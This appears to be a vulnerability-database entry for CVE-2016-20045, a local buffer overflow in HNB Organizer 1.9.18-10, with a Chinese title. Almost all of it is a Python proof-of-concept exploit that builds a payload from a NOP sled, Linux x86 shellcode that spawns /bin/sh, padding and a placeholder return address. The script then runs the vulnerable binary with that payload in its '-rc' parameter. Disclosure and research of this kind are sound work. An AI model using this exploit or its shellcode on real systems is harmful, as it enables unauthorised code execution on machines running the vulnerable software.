CVE-2016-20045 HNB Organizer 本地缓冲区溢出漏洞

#!/usr/bin/env python3 # Proof of Concept (PoC) for CVE-2016-20045 # This script demonstrates the buffer overflow by generating a malicious payload # for the '-rc' parameter of HNB Organizer 1.9.18-10. import sys import subprocess # Configuration BUFFER_SIZE = 108 # Vulnerable buffer size OFFSET = BUFFER_SIZE # Return address placeholder (Note: Actual address depends on environment/ASLR) RET_ADDR = b"\xbf\xbf\xbf\xbf" # Shellcode placeholder (e.g., exec /bin/sh for Linux x86) SHELLCODE = b"\x90" * 32 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" def generate_payload(): """Generates the payload to trigger the overflow.""" # Calculate padding needed before the return address padding_len = OFFSET - len(SHELLCODE) if padding_len < 0: print("[-] Shellcode is too large for the buffer space.") sys.exit(1) padding = b"A" * padding_len payload = SHELLCODE + padding + RET_ADDR return payload def main(): print(f"[*] Generating payload for CVE-2016-20045...") payload = generate_payload() print(f"[+] Payload length: {len(payload)} bytes") # Path to the vulnerable binary (adjust as needed) binary_path = "/path/to/hnb" try: print(f"[*] Executing {binary_path} with malicious payload...") # Execute the program with the -rc parameter subprocess.run([binary_path, "-rc", payload]) except FileNotFoundError: print(f"[-] Error: Binary not found at {binary_path}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": main()